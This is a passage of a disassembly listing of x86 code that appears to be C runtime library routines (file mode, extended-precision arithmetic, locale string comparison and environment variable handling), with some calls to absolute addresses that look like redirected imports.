; ---------------------------------------------------------------------------

loc_421E25:				; CODE XREF: sub_421DAE+10j
					; sub_421DAE+1Cj ...
		xor	eax, eax

loc_421E27:				; CODE XREF: sub_421DAE+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_421DAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E2B	proc near		; CODE XREF: sub_4211F1+8Bp
					; sub_4211F1+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_48B440
		jnb	short loc_421E92
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_48B340[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_421E92
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_421E6B
		and	cl, 7Fh
		jmp	short loc_421E78
; ---------------------------------------------------------------------------

loc_421E6B:				; CODE XREF: sub_421E2B+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_421E86
		or	cl, 80h

loc_421E78:				; CODE XREF: sub_421E2B+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_421E86:				; CODE XREF: sub_421E2B+48j
		mov	dword_48A014, 16h
		jmp	short loc_421E9C
; ---------------------------------------------------------------------------

loc_421E92:				; CODE XREF: sub_421E2B+Bj
					; sub_421E2B+27j
		mov	dword_48A014, 9

loc_421E9C:				; CODE XREF: sub_421E2B+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_421E2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421EA1	proc near		; CODE XREF: sub_4219A9+165p
					; sub_4220C1+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_4220A1
		cmp	cx, 7FFFh
		jnb	loc_4220A1
		cmp	dx, 0BFFDh
		ja	loc_4220A1
		cmp	dx, 3FBFh
		ja	short loc_421F0A
		xor	eax, eax
		jmp	short loc_421F44
; ---------------------------------------------------------------------------

loc_421F0A:				; CODE XREF: sub_421EA1+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_421F2C
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_421F2C
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_421F2E
		cmp	[esi], eax
		jnz	short loc_421F2E
		jmp	loc_42209B
; ---------------------------------------------------------------------------

loc_421F2C:				; CODE XREF: sub_421EA1+71j
					; sub_421EA1+79j
		xor	eax, eax

loc_421F2E:				; CODE XREF: sub_421EA1+80j
					; sub_421EA1+84j
		cmp	cx, ax
		jnz	short loc_421F51
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_421F51
		cmp	[ebx+4], eax
		jnz	short loc_421F51
		cmp	[ebx], eax
		jnz	short loc_421F51

loc_421F44:				; CODE XREF: sub_421EA1+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_4220BC
; ---------------------------------------------------------------------------

loc_421F51:				; CODE XREF: sub_421EA1+90j
					; sub_421EA1+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_421F61:				; CODE XREF: sub_421EA1+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_421FB5
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_421F7D:				; CODE XREF: sub_421EA1+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_421337
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421FA8
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_421FA8:				; CODE XREF: sub_421EA1+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_421F7D

loc_421FB5:				; CODE XREF: sub_421EA1+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_421F61
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_421FF8

loc_421FD3:				; CODE XREF: sub_421EA1+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_421FF1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213B6
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_421FD3

loc_421FF1:				; CODE XREF: sub_421EA1+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_422031

loc_421FF8:				; CODE XREF: sub_421EA1+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_422031
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_422011:				; CODE XREF: sub_421EA1+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_42201A
		inc	[ebp+var_14]

loc_42201A:				; CODE XREF: sub_421EA1+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4213E4
		dec	ebx
		pop	ecx
		jnz	short loc_422011
		cmp	[ebp+var_14], 0
		jz	short loc_422031
		or	byte ptr [ebp+var_24], 1

loc_422031:				; CODE XREF: sub_421EA1+155j
					; sub_421EA1+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_422048
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_42207D

loc_422048:				; CODE XREF: sub_421EA1+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_42207A
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_422075
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_42206F
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_42207D
; ---------------------------------------------------------------------------

loc_42206F:				; CODE XREF: sub_421EA1+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------

loc_422075:				; CODE XREF: sub_421EA1+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_42207D
; ---------------------------------------------------------------------------

loc_42207A:				; CODE XREF: sub_421EA1+1ABj
		inc	[ebp+var_24+2]

loc_42207D:				; CODE XREF: sub_421EA1+1A5j
					; sub_421EA1+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_4220A1
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_42209B:				; CODE XREF: sub_421EA1+86j
		mov	[esi+0Ah], ax
		jmp	short loc_4220BC
; ---------------------------------------------------------------------------

loc_4220A1:				; CODE XREF: sub_421EA1+42j
					; sub_421EA1+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_4220BC:				; CODE XREF: sub_421EA1+ABj
					; sub_421EA1+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421EA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220C1	proc near		; CODE XREF: sub_4214D8+440p
					; sub_4219A9+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43C090
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		jge	short loc_4220E9
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43C1F0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_4220E9:				; CODE XREF: sub_4220C1+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_4220F4
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_4220F4:				; CODE XREF: sub_4220C1+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_42213A
		push	esi
		push	edi

loc_4220FB:				; CODE XREF: sub_4220C1+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_422133
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_422126
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_422126:				; CODE XREF: sub_4220C1+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_421EA1
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_422133:				; CODE XREF: sub_4220C1+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_4220FB
		pop	edi
		pop	esi

loc_42213A:				; CODE XREF: sub_4220C1+14j
					; sub_4220C1+36j
		pop	ebx
		leave
		retn
sub_4220C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42213D	proc near		; CODE XREF: sub_421DAE+5Ep
					; sub_422619+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_42214A
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42214A:				; CODE XREF: sub_42213D+7j
		push	dword_48B444
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_48B664
		call	sub_4221EA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_422177
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_422177:				; CODE XREF: sub_42213D+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_42213D	endp


; =============== S U B	R O U T	I N E =======================================



sub_42217C	proc near		; CODE XREF: sub_421DAE+1Ep
					; sub_422492+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_48A044
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_4221DD
		mov	ebx, dword_424150

loc_422195:				; CODE XREF: sub_42217C+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_4221E5
		push	ebp
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_4221E5
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_4221E5
		push	edi
		push	[esp+18h+var_4]
		call	sub_422492
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_422195

loc_4221DD:				; CODE XREF: sub_42217C+11j
		xor	eax, eax

loc_4221DF:				; CODE XREF: sub_42217C+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_4221E5:				; CODE XREF: sub_42217C+29j
					; sub_42217C+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_4221DF
sub_42217C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221EA	proc near		; CODE XREF: sub_42213D+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424C88
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_48A300, ebx
		push	1
		pop	edi
		jnz	short loc_42225D
		push	edi
		mov	eax, offset dword_4248D8
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 25A0000h
		nop
		test	eax, eax
		jz	short loc_42223A
		mov	dword_48A300, edi
		jmp	short loc_42225D
; ---------------------------------------------------------------------------

loc_42223A:				; CODE XREF: sub_4221EA+46j
		push	edi
		mov	eax, offset dword_43C824
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25A05F7h
		test	eax, eax
		jz	loc_422453
		mov	dword_48A300, 2

loc_42225D:				; CODE XREF: sub_4221EA+31j
					; sub_4221EA+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_422274
		push	esi
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi

loc_422274:				; CODE XREF: sub_4221EA+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_422289
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax

loc_422289:				; CODE XREF: sub_4221EA+8Dj
		mov	eax, dword_48A300
		cmp	eax, 2
		jnz	short loc_4222AE
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25A05F7h
		jmp	loc_422455
; ---------------------------------------------------------------------------

loc_4222AE:				; CODE XREF: sub_4221EA+A7j
		cmp	eax, edi
		jnz	loc_422453
		cmp	[ebp+arg_18], ebx
		jnz	short loc_4222C3
		mov	eax, dword_48A0B8
		mov	[ebp+arg_18], eax

loc_4222C3:				; CODE XREF: sub_4221EA+CFj
		cmp	esi, ebx
		jz	short loc_4222D0
		cmp	[ebp+arg_14], ebx
		jnz	loc_422368

loc_4222D0:				; CODE XREF: sub_4221EA+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_4222DD

loc_4222D5:				; CODE XREF: sub_4221EA+13Cj
					; sub_4221EA+16Dj
		push	2

loc_4222D7:				; CODE XREF: sub_4221EA+146j
		pop	eax
		jmp	loc_422455
; ---------------------------------------------------------------------------

loc_4222DD:				; CODE XREF: sub_4221EA+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_4222E9

loc_4222E2:				; CODE XREF: sub_4221EA+151j
					; sub_4221EA+159j ...
		mov	eax, edi
		jmp	loc_422455
; ---------------------------------------------------------------------------

loc_4222E9:				; CODE XREF: sub_4221EA+F6j
		cmp	esi, edi
		jg	short loc_42232E
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 28910C2h
		test	eax, eax
		jz	loc_422453
		cmp	esi, ebx
		jle	short loc_422332
		cmp	[ebp+var_3C], 2
		jb	short loc_42232E
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_42232E

loc_422314:				; CODE XREF: sub_4221EA+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_42232E
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_422328
		cmp	cl, dl
		jbe	short loc_4222D5

loc_422328:				; CODE XREF: sub_4221EA+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422314

loc_42232E:				; CODE XREF: sub_4221EA+101j
					; sub_4221EA+120j ...
		push	3
		jmp	short loc_4222D7
; ---------------------------------------------------------------------------

loc_422332:				; CODE XREF: sub_4221EA+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_422368
		cmp	[ebp+var_3C], 2
		jb	short loc_4222E2
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_4222E2

loc_422345:				; CODE XREF: sub_4221EA+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_4222E2
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_42235D
		cmp	cl, dl
		jbe	loc_4222D5

loc_42235D:				; CODE XREF: sub_4221EA+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_422345
		jmp	loc_4222E2
; ---------------------------------------------------------------------------

loc_422368:				; CODE XREF: sub_4221EA+E0j
					; sub_4221EA+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2620000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_422453
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4223B7
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi

loc_4223B7:				; CODE XREF: sub_4221EA+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_422453
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_424070
		call	esi
		test	eax, eax
		jz	short loc_422453
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_422453
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422422
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]

loc_422422:				; CODE XREF: sub_4221EA+224j
		cmp	edi, ebx
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2620000h
		nop
		test	eax, eax
		jz	short loc_422453
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25A0000h
		nop
		jmp	short loc_422455
; ---------------------------------------------------------------------------

loc_422453:				; CODE XREF: sub_4221EA+63j
					; sub_4221EA+C6j ...
		xor	eax, eax

loc_422455:				; CODE XREF: sub_4221EA+BFj
					; sub_4221EA+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4221EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_422467	proc near		; CODE XREF: sub_41E709+81p
					; sub_4221EA+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_422484

loc_422477:				; CODE XREF: sub_422467+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_422484
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_422477

loc_422484:				; CODE XREF: sub_422467+Ej
					; sub_422467+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_42248F
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_42248F:				; CODE XREF: sub_422467+21j
		mov	eax, edx
		retn
sub_422467	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422492	proc near		; CODE XREF: sub_42217C+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_4224F6
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4226D8
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_4224F6
		cmp	[ebp+arg_0], esi
		jz	short loc_4224F6
		mov	eax, dword_48A03C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_48A040
		jnz	short loc_4224DC
		push	eax
		call	sub_422671
		pop	ecx
		mov	dword_48A03C, eax

loc_4224DC:				; CODE XREF: sub_422492+3Cj
		cmp	eax, edi
		jnz	short loc_422534
		cmp	[ebp+arg_4], edi
		jz	short loc_4224FE
		cmp	dword_48A044, edi
		jz	short loc_4224FE
		call	sub_42217C
		test	eax, eax
		jz	short loc_422534

loc_4224F6:				; CODE XREF: sub_422492+Dj
					; sub_422492+22j ...
		or	eax, 0FFFFFFFFh

loc_4224F9:				; CODE XREF: sub_422492+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4224FE:				; CODE XREF: sub_422492+51j
					; sub_422492+59j
		cmp	ebx, edi
		jnz	loc_422612
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_48A03C, eax
		jz	short loc_4224F6
		mov	[eax], edi
		cmp	dword_48A044, edi
		jnz	short loc_422534
		push	4
		call	sub_417B89
		cmp	eax, edi
		pop	ecx
		mov	dword_48A044, eax
		jz	short loc_4224F6
		mov	[eax], edi

loc_422534:				; CODE XREF: sub_422492+4Cj
					; sub_422492+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_48A03C
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_422619
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_422594
		cmp	dword ptr [edi], 0
		jz	short loc_422594
		test	ebx, ebx
		jz	short loc_42258C
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_417C3B
		pop	ecx

loc_422566:				; CODE XREF: sub_422492+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_422576
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_422566
; ---------------------------------------------------------------------------

loc_422576:				; CODE XREF: sub_422492+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4225C6
		jmp	short loc_4225C1
; ---------------------------------------------------------------------------

loc_42258C:				; CODE XREF: sub_422492+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4225C6
; ---------------------------------------------------------------------------

loc_422594:				; CODE XREF: sub_422492+BDj
					; sub_422492+C2j
		test	ebx, ebx
		jnz	short loc_422612
		test	esi, esi
		jge	short loc_42259E
		neg	esi

loc_42259E:				; CODE XREF: sub_422492+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41944F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4224F6
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0

loc_4225C1:				; CODE XREF: sub_422492+F8j
		mov	dword_48A03C, eax

loc_4225C6:				; CODE XREF: sub_422492+F6j
					; sub_422492+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_422612
		push	[ebp+arg_0]
		call	sub_417AB0
		inc	eax
		inc	eax
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_422612
		push	[ebp+arg_0]
		push	esi
		call	sub_4179C0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 2590231h
		push	esi
		call	sub_417C3B
		pop	ecx

loc_422612:				; CODE XREF: sub_422492+6Ej
					; sub_422492+104j ...
		xor	eax, eax
		jmp	loc_4224F9
sub_422492	endp


; =============== S U B	R O U T	I N E =======================================



sub_422619	proc near		; CODE XREF: sub_422492+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_48A03C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_422654
		mov	edi, [esp+8+arg_4]

loc_42262B:				; CODE XREF: sub_422619+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_42213D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42264A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_422664
		test	al, al
		jz	short loc_422664

loc_42264A:				; CODE XREF: sub_422619+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_42262B

loc_422654:				; CODE XREF: sub_422619+Cj
		mov	eax, esi
		sub	eax, dword_48A03C
		sar	eax, 2
		neg	eax

loc_422661:				; CODE XREF: sub_422619+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_422664:				; CODE XREF: sub_422619+2Bj
					; sub_422619+2Fj
		mov	eax, esi
		sub	eax, dword_48A03C
		sar	eax, 2
		jmp	short loc_422661
sub_422619	endp


; =============== S U B	R O U T	I N E =======================================



sub_422671	proc near		; CODE XREF: sub_422492+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_422680
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_422680:				; CODE XREF: sub_422671+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_422692

loc_422688:				; CODE XREF: sub_422671+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_422688

loc_422692:				; CODE XREF: sub_422671+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4226B3
		push	9
		call	sub_419CDA
		pop	ecx

loc_4226B3:				; CODE XREF: sub_422671+38j
		mov	eax, [edi]
		mov	ebx, edi

loc_4226B7:				; CODE XREF: sub_422671+5Bj
		test	eax, eax
		jz	short loc_4226CE
		push	eax
		add	ebx, 4
		call	sub_42274B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4226B7
; ---------------------------------------------------------------------------

loc_4226CE:				; CODE XREF: sub_422671+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_422671	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4226D8	proc near		; CODE XREF: sub_422492+14p

arg_0		= dword	ptr  8
